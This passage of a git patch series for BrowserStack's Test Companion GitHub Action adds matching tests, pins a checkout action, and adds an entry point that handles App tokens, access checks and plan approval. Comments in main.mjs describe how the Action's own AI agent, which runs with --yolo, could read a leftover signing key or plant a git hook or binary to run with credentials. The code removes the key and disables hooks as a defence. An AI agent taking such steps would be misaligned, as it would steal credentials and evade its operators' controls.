markerPattern(ANY_SHA) + // Same reader as findProposal, so the two cannot drift again. const stale = (comments ?? []).filter((c) => { if (c?.user?.type !== "Bot") return false - const found = marker.exec(c.body ?? "") - return Boolean(found) && found[1] !== current + const found = readMarker(c.body) + return Boolean(found) && found.sha !== current }) if (stale.length === 0) return undefined // Newest wins: with several old plans, the one they most plausibly meant is // the last one we put up. const newest = stale.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)) - const found = marker.exec(newest.body ?? "") - return { sha: found?.[1], requester: found?.[2], id: newest.id } + const found = readMarker(newest.body) + return { sha: found?.sha, requester: found?.requester, id: newest.id } } /** diff --git a/test-companion/test/intent.test.mjs b/test-companion/test/intent.test.mjs index 4d4f065..96eda04 100644 --- a/test-companion/test/intent.test.mjs +++ b/test-companion/test/intent.test.mjs @@ -239,3 +239,32 @@ describe("stop and set up are what the comment ASKS FOR, not words it contains", assert.equal(out.workflow, "fix") }) }) + +/** + * Semgrep flagged the per-name `new RegExp` (browserstack/github-actions#91, + * finding 8). These pin the behaviour that matters so it can be rewritten + * without a pattern built from input. + */ +describe("naming a bound job — matched on whole words, never as a substring", () => { + const bound = { workflows: ["generate", "test-pr", "mobile run", "rca"] } + + test("a name is found when it is said", () => { + assert.equal(readIntent("please run generate", bound).workflow, "generate") + assert.equal(readIntent("do a test-pr on this", bound).workflow, "test-pr") + }) + + test("a name inside a longer word is NOT a request for it", () => { + assert.notEqual(readIntent("I regenerated the lockfile", bound).workflow, "generate") + }) + + test("longest wins, so 'mobile run' is never read as a shorter name", () => { + assert.equal(readIntent("kick off mobile run", bound).workflow, "mobile run") + }) + + test("a name with regex metacharacters cannot blow up or match wildly", () => { + const odd = { workflows: ["c++ build", "a.c"] } + assert.equal(readIntent("start the c++ build", odd).workflow, "c++ build") + // `a.c` unescaped would match "abc"; it must not. + assert.notEqual(readIntent("abc", odd).workflow, "a.c") + }) +}) From 6adf348f41b8ce0859da092e0259b1d39a073976 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 18:13:35 +0530 Subject: [PATCH 14/49] fix: pin checkout in the starter, keep our own tag floating semgrep/ci is a required check and was failing on both. checkout is third party and now pinned to v4.4.0's commit; our own action stays on @v1 with a nosemgrep and the reason, because a floating major tag is how customers receive fixes without editing their copy. Co-Authored-By: Claude Opus 5 --- test-companion/starter-workflow.yml | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/test-companion/starter-workflow.yml b/test-companion/starter-workflow.yml index 1789bba..e6383bd 100644 --- a/test-companion/starter-workflow.yml +++ b/test-companion/starter-workflow.yml @@ -75,10 +75,18 @@ jobs: checks: write # the "Test Companion" check actions: write # reading the red run, and cancelling one on "stop" steps: - - uses: actions/checkout@v4 + # v4.4.0. Pinned to a commit because a tag can be repointed by + # whoever owns it, and this step runs in YOUR job with YOUR token. + # Safe to bump whenever you like — it is your workflow now. + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 with: fetch-depth: 0 # jobs that look at what changed need history + # A floating major tag, deliberately, and the one place in this + # file that stays unpinned: @v1 is how you receive fixes to Test + # Companion without editing this file. Pinning it to a commit + # would freeze you on whatever shipped the day you copied this. + # nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag - uses: browserstack/github-actions/test-companion@v1 with: username: ${{ secrets.BROWSERSTACK_USERNAME }} From 708e694ba0d874ecb2d6ee90a00e5d142100b89d Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 18:15:59 +0530 Subject: [PATCH 15/49] fix: use the full rule id in the starter's nosemgrep The rule id repeats its last segment; written once, it matched nothing. Co-Authored-By: Claude Opus 5 --- test-companion/starter-workflow.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test-companion/starter-workflow.yml b/test-companion/starter-workflow.yml index e6383bd..6ef8079 100644 --- a/test-companion/starter-workflow.yml +++ b/test-companion/starter-workflow.yml @@ -86,7 +86,7 @@ jobs: # file that stays unpinned: @v1 is how you receive fixes to Test # Companion without editing this file. Pinning it to a commit # would freeze you on whatever shipped the day you copied this. - # nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag + # nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag - uses: browserstack/github-actions/test-companion@v1 with: username: ${{ secrets.BROWSERSTACK_USERNAME }} From 7dbe5cfe716bd4d5c16fdf4adecb421cd286639a Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 18:37:32 +0530 Subject: [PATCH 16/49] fix: the three blockers from the review of browserstack/vscode-ai-testing#3101 B1 a skip or a crash left the "in progress" check pending for ever, and a crash posted its check on the default branch instead of the PR head. B2 `stop` shared a concurrency group with the run it was sent to stop. B3 the App private key stayed in the environment after it had been used. Co-Authored-By: Claude Opus 5 --- test-companion/main.mjs | 1430 ++++++++++++++++++++++++++ test-companion/report.mjs | 597 +++++++++++ test-companion/src/main.mjs | 31 +- test-companion/src/report.mjs | 15 + test-companion/starter-workflow.yml | 13 +- test-companion/test/imports.test.mjs | 33 + test-companion/test/report.test.mjs | 36 + test-companion/test/starter.test.mjs | 29 + 8 files changed, 2181 insertions(+), 3 deletions(-) create mode 100644 test-companion/main.mjs create mode 100644 test-companion/report.mjs diff --git a/test-companion/main.mjs b/test-companion/main.mjs new file mode 100644 index 0000000..2845bbb --- /dev/null +++ b/test-companion/main.mjs @@ -0,0 +1,1430 @@ +/** + * The Action's entry point — STM-3663 Release 2. + * + * Deliberately thin. Every decision worth testing lives in plan-run.mjs, + * outcome.mjs and report.mjs, which are pure and run under `node --test` in + * milliseconds. What is left here is I/O: read the event, spawn the CLI, call + * GitHub, write the step's outputs. That split exists because the only other + * way to test this is to push a commit and wait several minutes for a runner. + * + * Zero dependencies — Node's standard library plus `gh`, which is preinstalled + * on every GitHub runner and is already how this product talks to GitHub. + */ +import { readFileSync, appendFileSync, writeFileSync, existsSync, rmSync, readdirSync, accessSync, constants } from "node:fs" +import { spawnSync } from "node:child_process" +import { join } from "node:path" +import { tmpdir } from "node:os" +import { planRun, contextArgs, withPullRequestHead, TC_EVENTS } from "./plan-run.mjs" +import { readIntent, INTENT } from "./intent.mjs" +import { chooseRunsToCancel, runIdsFromChecks, latestFailedRun } from "./runs.mjs" +import { decideGate, GATE, describeChangeSize, ANSWER_JOBS } from "./gate.mjs" +import { mayAsk, describeTestRepoAccess } from "./access.mjs" +import { findTicket } from "./ticket.mjs" +import { childEnvFor } from "./child-env.mjs" +import { appCredentials, signJwt, installationTokenRequest } from "./app-auth.mjs" +import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail } from "./outcome.mjs" +import { + renderJobSummary, + renderComment, + chooseCommentAction, + checkSha, + checkSubjectFor, + renderNotAuthorized, + renderUnknownRequest, + findProposal, + renderProposal, + renderExtraChecks, + accessibilityFailsCheck, + renderApprovedPlan, + proposalDroppedMarkerFor, + proposalNeedsDropping, + flattenPages, + hasApproverEdits, + renderProposalBody, + findSupersededProposal, + checkRequestFor, + inFlightCheckId, +} from "./report.mjs" +import { pipelineConfigPath, renderNoPipelineReport, settingsRef, renderSetupPr, starterPipelineFor } from "./starter.mjs" +import { detectFramework } from "./framework.mjs" +import { buildAnnotations, parseFailedTests } from "./annotations.mjs" +import { + shouldPushWork, + changedPaths, + splitPushable, + renderPushNote, + needsCheckout, + isSameRepo, + pushCredentialEnv, + pushUrlFor, + unexpectedConfigKeys, + CONFIG_READ_ARGS, + trustedGitPath, + gitEnvFrom, + GIT_SAFE_ARGS, +} from "./push-work.mjs" + +const env = process.env +const REPO = env.GITHUB_REPOSITORY ?? "" +const RUN_URL = `${env.GITHUB_SERVER_URL ?? "https://github.com"}/${REPO}/actions/runs/${env.GITHUB_RUN_ID ?? ""}` +// RUNNER_TEMP, not the system temp dir: GitHub clears RUNNER_TEMP per job, while +// /tmp survives on a self-hosted or reused runner. With fixed names in a shared +// /tmp, `existsSync(RESULT_FILE)` could find an EARLIER job's file and this run +// would report, and upload, test cases it never produced. Falls back to tmpdir() +// so the Action still runs outside a GitHub runner. +const REPORT_DIR = env.RUNNER_TEMP || tmpdir() +const SUMMARY_FILE = join(REPORT_DIR, "test-companion-report.md") +// What the run PRODUCED, as opposed to how it went. Kept separate because the +// two have separate readers: a CI step branches on the summary, a person reads +// the result. For a preview run — which refuses to save by design — this file +// is the only place the generated cases survive (FR-20). +const RESULT_FILE = join(REPORT_DIR, "test-companion-result.md") + + +// The artifact the result is uploaded under, named here so the report can +// point a reader at it by name. Must match the upload step in action.yml. +const RESULT_ARTIFACT = "test-companion-result" + +const setOutput = (k, v) => env.GITHUB_OUTPUT && appendFileSync(env.GITHUB_OUTPUT, `${k}=${v}\n`) +const addToJobSummary = (md) => env.GITHUB_STEP_SUMMARY && appendFileSync(env.GITHUB_STEP_SUMMARY, md + "\n") +const notice = (m) => console.log(`::notice::${m}`) +const warn = (m) => console.log(`::warning::${m}`) + +/** The raw `gh` call, so a caller that cares WHY it failed can look. */ +function ghRaw(args, body) { + return spawnSync("gh", args, { + encoding: "utf8", + input: body ? JSON.stringify(body) : undefined, + env: { ...env, GH_TOKEN: env.GH_TOKEN }, + }) +} + +/** `gh api`, returning parsed JSON or null. Never throws — reporting must not break a run. */ +function gh(args, body) { + const r = ghRaw(args, body) + if (r.status !== 0) { + // A missing permission is a normal, documented outcome (FR-4): skip that + // write, name it, carry on. It is never a reason to fail the run. + warn(`GitHub API call failed (${args[1] ?? args[0]}): ${(r.stderr ?? "").trim().split("\n")[0]}`) + return null + } + try { + return JSON.parse(r.stdout) + } catch { + return null + } +} + +/** + * Sign in as the Test Companion GitHub App, when it is installed — Release 4. + * + * Buys exactly three things: the comment and the tick come from "Test + * Companion" rather than github-actions[bot], the workflow needs no + * permissions block because the installation token carries the App's own, and + * an admin can roll the setup out across an organisation at once. + * + * It does not run anything (Decision 0). The run still happens on the + * customer's machine with their BrowserStack credentials. + * + * Every failure here falls back to the workflow token rather than stopping. A + * repository without the App installed is the normal case, not an error, and + * FR-4 says the run finishes either way. + */ +function appInstallationToken() { + const creds = appCredentials(env) + if (!creds) return undefined + // B3 (review of #3101). `creds` holds its own copy, so the key can leave + // the environment the moment it has been read. Everything this process + // starts from here on inherits that environment — including the agent, + // which runs with --yolo and chooses its own commands — and a signing key + // is not something to leave lying where they can read it. + // + // childEnvFor strips it for the agent already; this closes the same hole + // for everything else, and does not rely on remembering to list it. + delete env.TC_ACTION_APP_PRIVATE_KEY + + let jwt + try { + jwt = signJwt(creds) + } catch (e) { + // A malformed key is worth saying out loud: someone configured this and + // it silently did nothing. + warn(`Could not sign the GitHub App token (${e?.message ?? e}); using the workflow token instead.`) + return undefined + } + + // The JWT authenticates the APP; only the installation token can touch a + // repository. Passed per-call rather than exported, so it never lands in + // the environment at all. + const asApp = (args) => spawnSync("gh", args, { encoding: "utf8", env: { ...env, GH_TOKEN: jwt } }) + + const found = asApp(["api", `repos/${REPO}/installation`]) + if (found.status !== 0) { + notice("Test Companion: the GitHub App is not installed on this repository; using the workflow token.") + return undefined + } + let installationId + try { + installationId = JSON.parse(found.stdout)?.id + } catch { + return undefined + } + if (!installationId) return undefined + + // FR-4: "for that repo only". A token minted with no body carries every + // permission the installation holds across every repository it covers — a + // run in one repository would hold write access to all of an organisation's. + const scope = installationTokenRequest(REPO) + if (!scope) { + warn(`Could not read "${REPO}" as owner/name, so no scoped App token was requested.`) + return undefined + } + + const mint = (body) => + spawnSync("gh", ["api", `app/installations/${installationId}/access_tokens`, "--method", "POST", "--input", "-"], { + encoding: "utf8", + input: JSON.stringify(body), + env: { ...env, GH_TOKEN: jwt }, + }) + + // An installation granted fewer permissions than we ask for refuses the + // whole request, so the second attempt drops the permission list and keeps + // the repository scope — which is the half FR-4 actually requires. Better a + // token scoped to one repository than a fall back to the workflow token. + let minted = mint(scope) + if (minted.status !== 0) { + minted = mint({ repositories: scope.repositories }) + } + if (minted.status !== 0) { + warn("Could not mint a GitHub App token; using the workflow token instead.") + return undefined + } + + let token + try { + token = JSON.parse(minted.stdout)?.token + } catch { + return undefined + } + if (!token) return undefined + + // FR-3: credentials are masked in the log. Before the token is used for + // anything, so there is no window where it could be echoed unmasked. + console.log(`::add-mask::${token}`) + return token +} + +/** + * The settings file as it stands on the DEFAULT BRANCH — FR-7. + * + * Not the checked-out tree. Read from the branch under test, a pull request can + * rewrite the rules for its own run and be obeyed — switch itself from preview + * to live, delete its own spending limit, point its writes elsewhere. Reading + * from the default branch means an edit counts only once someone merges it. + * + * Returns the local path the content was written to, or undefined when there is + * no settings file there. Fails SAFE: a fetch that errors for any reason is + * treated as "no settings", which is a clean skip (FR-13) rather than a run + * governed by whatever happens to be checked out. + * + * `--raw` because this is a YAML file, not the JSON envelope gh() parses. + */ +function fetchSettings(path, ref) { + const r = spawnSync( + "gh", + ["api", `repos/${REPO}/contents/${path}?ref=${encodeURIComponent(ref)}`, "-H", "Accept: application/vnd.github.raw"], + { + encoding: "utf8", + env: { ...env, GH_TOKEN: env.GH_TOKEN }, + }, + ) + if (r.status !== 0) { + const first = (r.stderr ?? "").trim().split("\n")[0] + // A 404 is the ordinary "this repo has no settings file yet" case (FR-13). + // Anything else is worth saying out loud, because the run is about to skip. + if (!/404|Not Found/i.test(first)) warn(`Could not read ${path} from ${ref}: ${first}`) + return undefined + } + const local = join(REPORT_DIR, "testcompanion-pipeline.default-branch.yml") + writeFileSync(local, r.stdout) + return local +} + +/** + * Whether `login` may ask Test Companion for a run — FR-33. + * + * admin, maintain and write can; triage and read cannot. Any failure to get a + * clear answer counts as "no". + */ +function hasWriteAccess(login) { + if (!login) return false + const res = gh(["api", `repos/${REPO}/collaborators/${login}/permission`]) + return ["admin", "maintain", "write"].includes(res?.permission) +} + +/** + * Is `login` on `team` in this repository's organisation? — FR-33. + * + * Tri-state on purpose: undefined means we could not find out (no token for + * the organisation, API down, rate limited), which mayAsk treats as a no. + */ +function isOnTeam(login, team) { + if (!login || !team) return undefined + const org = REPO.split("/")[0] + const res = gh(["api", `orgs/${org}/teams/${team}/memberships/${login}`]) + if (!res) return undefined + return res.state === "active" +} + +/** + * Run git in the checkout. Never throws: every caller here treats a git + * failure as "we could not save the work", which is reported, not fatal. + */ +/** + * Resolved once, at module load — BEFORE the agent runs, so a `git` planted on + * PATH later cannot be the one we find. Absent means we do not commit at all. + */ +const GIT_BIN = trustedGitPath({ + exists: (p) => existsSync(p), + canWrite: (p) => { + try { + accessSync(p, constants.W_OK) + return true + } catch { + return false + } + }, +}) + +function git(args, extraEnv = {}) { + // A near-empty environment, and no hooks. These run AFTER the agent, which + // has had --yolo write access to the tree: a planted .git/hooks/pre-commit + // would otherwise be executed by our own `git commit` with the App's + // private key and the customer's credentials in its environment. + if (!GIT_BIN) return { ok: false, out: "", raw: "", err: "no trusted git binary" } + const r = spawnSync(GIT_BIN, [...GIT_SAFE_ARGS, ...args], { + encoding: "utf8", + env: { ...gitEnvFrom(env), ...extraEnv }, + }) + // `raw` is deliberate. `git status --porcelain` puts a SPACE in the first + // column for an unstaged modification, and trimming the whole output eats + // it on the first line — which cost run 40845669513 ten passing tests. + // Anything parsing columns reads `raw`; everything else wants `out`. + return { ok: r.status === 0, out: (r.stdout ?? "").trim(), raw: r.stdout ?? "", err: (r.stderr ?? "").trim() } +} + +/** + * The repository's default branch, or undefined when we cannot find out. + * Undefined only relaxes the default-branch refusal, so an unanswered call + * never widens anything else. + */ +function defaultBranchName() { + return gh(["api", `repos/${REPO}`])?.default_branch +} + +let cachedEvent +function readEvent() { + // Parsed once. This is called seven times in a run, and the file cannot + // change underneath us — GitHub writes it before the job starts. + if (cachedEvent !== undefined) return cachedEvent + cachedEvent = readEventUncached() + return cachedEvent +} + +function readEventUncached() { + try { + return JSON.parse(readFileSync(env.GITHUB_EVENT_PATH, "utf8")) + } catch { + return {} + } +} + +/** Nothing to do. Report it plainly and let the step pass — FR-3, FR-13. */ +function finishSkipped(reason, detail) { + const human = { + "not-a-pull-request": "That comment was on an issue, not a pull request.", + "not-addressed-to-us": "No @test-companion mention, so nothing was asked of Test Companion.", + "proposal-superseded": "The plan being approved was for an earlier commit, so it was not run.", + "nothing-failed": "Nothing has failed on this commit, so there was no build to look at.", + "comment-edited": "Editing a comment does not start a run.", + fork: "A pull request from a fork does not run with credentials until a maintainer asks for it.", + draft: "Draft pull requests do not start a run on their own. Comment to ask for one.", + "closed-unmerged": "The pull request was closed without merging.", + "build-not-red": "That run did not fail, so there is nothing to explain.", + "own-run": "That was Test Companion's own run; it does not explain itself.", + "unsupported-event": "Test Companion is not bound to this kind of event.", + "unsafe-context": "A value from this event looked like a command-line flag and was refused.", + "no-workflow-named": "A manual run needs a `workflow` input naming the job.", + "no-credentials": "Skipped: BrowserStack credentials are not available to this run.", + "no-binding": "Nothing in testcompanion-pipeline.yml is bound to this event, so there was nothing to run.", + // FR-4: name the permission and the line to add. The commonest cause by + // far is a workflow without `pull-requests: read` — the lookup 403s, the + // head commit is unknown, and the run fails closed. Said plainly here + // because "nothing safe to run against" sends a reader looking at their + // pull request rather than at their permissions block. + "no-pr-head": + "Could not read that pull request, so there is no commit it is safe to run against. " + + "If this workflow has no `pull-requests: read` permission, add it.", + "not-authorized": "Only someone with write access to this repository can ask Test Companion for a run.", + "unmapped-request": "That comment did not name anything Test Companion can do; it was answered in the thread.", + stopped: "Stopped, as asked.", + "not-bound": "That job is not bound to pull request comments in this repository.", + "nothing-to-approve": "Nothing is waiting for approval on this commit.", + "proposal-expired": "That proposal was more than a day old and has been dropped.", + proposed: "Proposed, and waiting for someone to reply go.", + "setup-requested": "Opened a pull request adding the settings file.", + }[reason] + const msg = human ?? `Nothing to do (${reason}).` + notice(`Test Companion: ${msg}`) + // B1 (review of #3101). The "in progress" check goes up before the CLI + // runs so a later `stop` has something to cancel. Skipping out from under + // it left "Test Companion" pending for ever — and `no-binding` is most + // events, so for most repositories that was most runs. + // + // Completing it here rather than posting the check later keeps `stop` + // working. Nothing deliberately leaves a check pending through this + // function: the proposal path posts its own and exits directly. + for (const sha of checksMade.keys()) { + postCheck(OUTCOMES.SKIPPED, { outcome: "Skipped", summary: {}, runUrl: RUN_URL }, sha, [], "completed", msg) + } + addToJobSummary(`## Test Companion\n\n${msg}${detail ? `\n\n\`${detail}\`` : ""}`) + setOutput("outcome", "Skipped") + setOutput("should-fail", "false") + process.exit(0) +} + +/** + * FR-13: no settings file means a clean pass and the file they need. + * + * Checked before anything else that could cost money or time. Left to the CLI + * this is a red build reading `open testcompanion-pipeline.yml: no such file or + * directory` — the person did nothing wrong, and the message names a file they + * have never heard of. + */ +function finishWithStarter(path) { + notice(`Test Companion: no ${path} yet, so there is nothing to run. A starter is on the run summary.`) + addToJobSummary(renderNoPipelineReport(path)) + setOutput("outcome", "Skipped") + setOutput("should-fail", "false") + process.exit(0) +} + +function main() { + // Release 4: act as the App when it is installed, so the comment and the + // tick carry Test Companion's name. Before anything else talks to GitHub. + const appToken = appInstallationToken() + if (appToken) { + env.GH_TOKEN = appToken + notice("Test Companion: acting as the GitHub App.") + } + + // FR-3: a run without credentials does nothing, says so, and passes. This is + // the normal shape of a fork pull request, not an error. + if (!env.BROWSERSTACK_USERNAME || !env.BROWSERSTACK_ACCESS_KEY) { + finishSkipped("no-credentials") + } + + // Before the plan, so a repository with no pipeline file gets the starter + // rather than whatever the planner happens to say about this event. + const configPath = pipelineConfigPath(env.TC_ACTION_CONFIG, env) + // FR-7: from the default branch, never from the branch under test. + // May be undefined — a repository with no settings file is a normal, and + // very common, first run (FR-13). It is NOT an early exit any more: a + // comment asking us to add that file is the one thing worth doing in a + // repository that has none, and the exit used to sit in front of it. + // Nothing below costs money before the settings check further down. + const settingsFile = fetchSettings(configPath, settingsRef(readEvent(), env)) + + // FR-44: before anything else this run does, clear out proposals that ran + // out of time, so none of them leaves a check stuck on "in progress". + if (settingsFile && env.GITHUB_EVENT_NAME === "schedule") sweepExpiredProposals() + + let plan = planRun({ + eventName: env.GITHUB_EVENT_NAME, + payload: readEvent(), + repo: REPO, + sha: env.GITHUB_SHA, + ref: env.GITHUB_REF, + inputs: { + workflow: env.TC_ACTION_WORKFLOW, + preview: env.TC_ACTION_PREVIEW, + "self-workflow-name": env.TC_ACTION_SELF_WORKFLOW, + }, + }) + if (plan.skip) { + // FR-36: closing a pull request without merging stops whatever it started. + if (plan.skip.reason === "closed-unmerged") cancelForClosedPr(readEvent()) + finishSkipped(plan.skip.reason, plan.skip.detail) + } + + // FR-33: only someone who can write to the repository may ask for a run by + // commenting. On a public repository anyone can comment, and a run executes + // an agent with --yolo against the customer's own machine and credentials, + // so this gate is the whole access-control story for the comment trigger. + // + // Fails CLOSED: if the permission lookup itself fails — no token, API down, + // rate limited — the run does not start. An unanswerable "may they?" is a no. + // Keyed on the TRIGGER, not only on a flag the planner sets. A planner change + // that forgets the flag would otherwise delete this gate silently, and the + // failure would be invisible: runs would simply start working for people who + // should not be able to start them. + // A comment names an issue, not a commit. Look the pull request up so the + // run works on ITS head rather than the default branch, and so the check + // lands on that commit. Fails closed on a fork, like every other untrusted + // trigger (review finding, PR #3030). + let pull + if (!plan.context?.sha && plan.context?.pr) { + pull = gh(["api", `repos/${REPO}/pulls/${plan.context.pr}`]) + plan = withPullRequestHead(plan, pull, REPO) + if (plan.skip) finishSkipped(plan.skip, `PR #${plan.context.pr}`) + // Work on the commit that was asked about. The starter checks out the + // default branch for a comment event, since the payload names no ref. + const co = spawnSync("git", ["fetch", "--depth", "1", "origin", plan.context.sha], { stdio: "inherit" }) + if (co.status === 0) { + spawnSync("git", ["checkout", "--detach", "FETCH_HEAD"], { stdio: "inherit" }) + } else { + warn(`Could not fetch ${plan.context.sha}; running against the checked-out tree.`) + } + } + + // FR-37: the ticket this change is for, so the run tests against what the + // ticket asks for and not only what the diff does. The pull request object + // is already in hand for a comment event; for a pull_request event it is on + // the payload. + const prForTicket = pull ?? readEvent().pull_request + const ticket = findTicket({ + title: prForTicket?.title, + branch: plan.context?.branch ?? prForTicket?.head?.ref, + body: prForTicket?.body, + }) + if (ticket && plan.context) plan.context.ticket = ticket + + // Read once, before the access check: FR-33's team narrowing lives in the + // same document as FR-43's approval gate. + const bindingsDoc = settingsFile && plan.event ? readBindings(settingsFile, plan.event, plan.context?.branch) : undefined + const askTeam = bindingsDoc?.settings?.ask_team + + // Only issue_comment. `pull_request_review_comment` was listed here too, + // but route() has no case for it, so such an event skips as + // "unsupported-event" long before this line — and the starter does not + // subscribe to it either. + // Jobs that understand --propose-only and --plan-file. For anything else + // the proposal IS the preview run's report. + const CARRIES_A_PLAN = new Set(["test-pr"]) + // Jobs that cannot run without knowing which build failed. + const NEEDS_A_BUILD = new Set(["rca", "fix", "verdict"]) + const COMMENT_TRIGGERS = new Set(["issue_comment"]) + if (COMMENT_TRIGGERS.has(env.GITHUB_EVENT_NAME) || plan.requiresWriteAccess) { + const who = plan.commenter ?? readEvent().comment?.user?.login + // FR-33: write access is the floor, and the pipeline file may narrow it + // to a team. It may never widen it — see mayAsk. + const allowed = mayAsk({ + hasWriteAccess: hasWriteAccess(who), + askTeam, + inTeam: askTeam ? isOnTeam(who, askTeam) : undefined, + }) + if (!allowed) { + // FR-33 wants a one-line reply, not a line in a log the person who + // asked will never open. + replyOnPr(plan.context?.pr, renderNotAuthorized(who ?? "there", askTeam)) + finishSkipped("not-authorized", who) + } + } + + // FR-34: work out what the comment actually asked for, here, before the CLI + // is spawned — a request we cannot place has to cost nothing. + let proposing = false + let approvalNote = "" + if (plan.event === TC_EVENTS.PR_COMMENT) { + // FR-34: pass what this repository has actually bound, so a job can be + // asked for by name and not only by the phrases written into PHRASES. + const intent = readIntent(plan.context.instructions, { + workflows: (bindingsDoc?.bindings ?? []).filter((b) => b.enabled).map((b) => b.workflow), + }) + + if (intent.kind === INTENT.UNKNOWN) { + replyOnPr(plan.context.pr, renderUnknownRequest()) + finishSkipped("unmapped-request") + } + // Answered before anything starts. Falling through would be the worst + // possible reading of "stop": the person asks for the run to end and a + // new one begins. + if (intent.kind === INTENT.STOP) { + stopRuns(plan, plan.commenter ?? "you") + finishSkipped("stopped") + } + if (intent.kind === INTENT.SETUP) { + openSetupPr(plan, configPath) + finishSkipped("setup-requested") + } + + // A named job narrows what the binding would otherwise choose. The event + // is kept, so the binding still governs result mode and limits — asking + // by comment must not be a way around the repository's own settings. + if (intent.workflow) plan.workflow = intent.workflow + + const bindings = bindingsDoc + const binding = pickBinding(bindings, intent.workflow) + + // FR-34 asks for any BOUND workflow. Saying so now beats a preview run, + // a proposal, a "go", and only then "no binding for pr_comment". + if (intent.workflow && bindings && !binding) { + replyOnPr( + plan.context.pr, + `\`${intent.workflow}\` is not bound to pull request comments in this repository, so nothing ran. Bind it in \`${configPath}\` under \`on: pr_comment\`.`, + ) + finishSkipped("not-bound", intent.workflow) + } + + const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${plan.context.pr}/comments`, "--paginate", "--slurp"])) + const waiting = findProposal(comments, plan.context.sha) + + // An unaddressed comment only ever reaches us as a possible approval. + // With nothing waiting, it is what it looked like: a person talking to + // each other, not to us. + // + // Unless a plan we put up has been left behind by a newer commit. Then + // they were talking to us, they used a word we accept, and telling them + // "no @test-companion mention" is both wrong and unhelpful — the reason + // is sitting in the comment history (FR-44). + if (plan.approvalOnly && !waiting) { + const stale = findSupersededProposal(comments, plan.context.sha) + if (stale) { + replyOnPr( + plan.context.pr, + `That plan was for \`${String(stale.sha).slice(0, 7)}\`, and this branch has moved on since — ` + + `a plan written against code that has changed is not safe to run. ` + + `Ask me again and I will put up a fresh one for \`${String(plan.context.sha).slice(0, 7)}\`.`, + ) + finishSkipped("proposal-superseded") + } + finishSkipped("not-addressed-to-us") + } + const gate = decideGate({ + intent, + approval: binding?.approval, + proposal: waiting, + actor: plan.commenter ?? plan.context.actor, + // Named by the comment when it named one, otherwise whatever the + // binding would run — the gate needs the job that will ACTUALLY run. + workflow: plan.workflow ?? binding?.workflow, + }) + + if (gate.action === GATE.NOTHING_TO_APPROVE) { + replyOnPr( + plan.context.pr, + "There is nothing waiting for approval on this commit. Ask for a job by name and I will propose one.", + ) + finishSkipped("nothing-to-approve") + } + if (gate.action === GATE.EXPIRED) { + // FR-44: dropped after 24 hours. Enforced on the approving side, so a + // stale proposal cannot be approved however long it sits there. + replyOnPr( + plan.context.pr, + "That proposal is more than a day old, so I have dropped it. Ask again and I will put up a fresh one.", + ) + finishSkipped("proposal-expired") + } + + if (gate.approvedProposal) { + // Pin the run to the job that was actually proposed and read. The + // GO intent names no workflow, so without this the CLI resolved one + // from the event alone — whichever binding came first in the file — + // and a `fix` proposal could run something else, live, with --yolo. + if (waiting?.workflow) plan.workflow = waiting.workflow + + // FR-43: the run carries out the approved plan — the proposal as the + // approver left it, edits and all. Written to a file rather than + // squeezed onto a command line: a case list is prose, and --context + // strips the punctuation it is written with. + const replyText = plan.context.instructions + const planFile = join(REPORT_DIR, "approved-plan.md") + writeFileSync(planFile, renderApprovedPlan(waiting?.body, replyText)) + if (CARRIES_A_PLAN.has(plan.workflow)) plan.context.plan_file = planFile + + // And the approving comment's own text stops here. The edits are in + // the plan file now; passing the raw reply as well would put free + // text back on the path to the agent, which is what made the approval + // meaningless in the first place. + delete plan.context.instructions + + // Reported, not refused. Both asking and approving need write access, + // so one person doing both is not an escalation — but edits made at + // approval time were reviewed by nobody but the approver, and on a + // self-approved run by nobody at all. A reviewer should see that. + if (gate.selfApproved) { + approvalNote = hasApproverEdits(replyText) + ? ` Approved by @${plan.commenter}, who also asked for it — and edited the plan while approving, so nobody else reviewed those changes.` + : ` Approved by @${plan.commenter}, who also asked for it.` + notice(`Test Companion:${approvalNote}`) + } + } else { + // FR-44: too big to cover in one go — say so to the run, which then + // covers what matters and lists what it left out. + const size = describeChangeSize(pull) + if (size.large) { + plan.context.focus = `${size.files} files and ${size.lines} changed lines` + } + } + + proposing = gate.action === GATE.PROPOSE + // FR-43: a planning pass has to KNOW it is one. Without this it attempts + // the work, is refused by preview, and reports "Could not run" after + // spending real credits — observed on the first live run. + // Only `test-pr` has --propose-only and --plan-file; sending either to + // any other job is an unknown-flag exit before the run starts. + // + // The gate still works for them, because a proposal run is a PREVIEW + // run and preview is enforced in tool dispatch: it does the work, + // writes nothing, and its report is what the reviewer approves. + if (proposing && CARRIES_A_PLAN.has(plan.workflow)) plan.context.propose_only = "true" + if (gate.preview || intent.preview) plan.preview = true + + // THIS RUNS LAST, and it has to. + // + // `rca`, `fix` and `verdict` need to know WHICH build failed. A + // build_failed trigger is handed the run; a COMMENT is not, so these + // three used to fail on the first comment with "Could not run" — while + // we advertise all three by name. + // + // Last, because the workflow is not final until the approval handling + // above has run: "go" names no job, so the job comes from the proposal + // being approved. With this block higher up, asking for an rca worked + // and APPROVING it did not — the CLI was spawned with no build and + // refused it with `rca requires --context build=`. Live run + // 41048725625. + // + // The newest red run on this commit is what a person means by "the + // failure". Only looked up when the job needs it and the caller has + // not already said. + if (NEEDS_A_BUILD.has(plan.workflow) && !plan.context.build) { + const runs = gh(["api", `repos/${REPO}/actions/runs?head_sha=${plan.context.sha}&per_page=100`]) + const failed = latestFailedRun(runs?.workflow_runs, { + selfRunId: env.GITHUB_RUN_ID, + selfWorkflowName: env.TC_ACTION_SELF_WORKFLOW, + }) + if (!failed) { + // Nothing red is an answer, not an error. + replyOnPr( + plan.context.pr, + `Nothing has failed on \`${String(plan.context.sha).slice(0, 7)}\`, so there is no build for me to look at. Re-run me once something is red, or say what you want tested instead.`, + ) + finishSkipped("nothing-failed", plan.workflow) + } + plan.context.build = failed + notice(`Test Companion: reading the failure from 